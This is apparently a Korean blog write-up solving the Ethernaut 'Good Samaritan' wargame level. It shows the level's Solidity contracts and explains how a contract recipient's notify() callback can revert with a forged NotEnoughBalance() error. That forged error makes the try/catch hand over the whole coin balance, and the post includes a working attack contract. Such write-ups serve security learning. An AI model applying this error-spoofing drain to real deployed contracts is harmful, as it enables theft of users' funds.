[ethernaut] Good Samaritan

wooz3k.eth·2023년 1월 11일
1
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

이 문제는 requestDonation()를 호출하면 10개의 coin을 받는 컨트렉트인데 모든 coin balance를 빼낼 수 있으면 풀리는 문제이다.

접근 방식

  • 우리의 목적은 coin의 balance를 전부 빼내는 것이기 때문에 이게 이루어지는 함수를 집중적으로 분석해보자.
  • requestDonation 함수를 보면 coin balance가 10보다 적을 경우 error를 try catch로 핸들링하여 가지고 있는 모든 token을 보내준다.
  • requestDonation이 실행되는 동안 control flow를 잠깐이라도 가져올 수 있으면 강제로 error를 뱉게하여 모든 coin을 빼낼 수 있을 것 같다.
  • wallet 컨트렉트에 donate10 함수를 보면 coin.transfer를 실행한다.
  • coin.transfer를 확인해보면 dest가 contract일 경우 notify 함수를 실행한다. 이 지점이 바로 우리가 control flow를 가져올 수 있는 곳이다.

풀이

  • notify 함수를 구현한 컨트렉트를 만들고 notify 함수에서 revert NotEnoughBalance(); 를 뱉게해주면 된다.
  • coin.transfer를 할때마다 호출되기 때문에 amount 인자를 통해서 10일 때만 revert하게 해주자.
contract attack
{
    GoodSamaritan public target = GoodSamaritan(0xE4375bC450CD80F838F6e510164D6E9342F37759);
    error NotEnoughBalance();

    function notify(uint256 amount) external
    {
        if(amount == 10)
        {
            revert NotEnoughBalance();
        }
    }

    function atk() public
    {
        target.requestDonation();
    }
}

이렇게 문제를 해결하였다.

profile
Theori ChainLight Web3 Researcher

0개의 댓글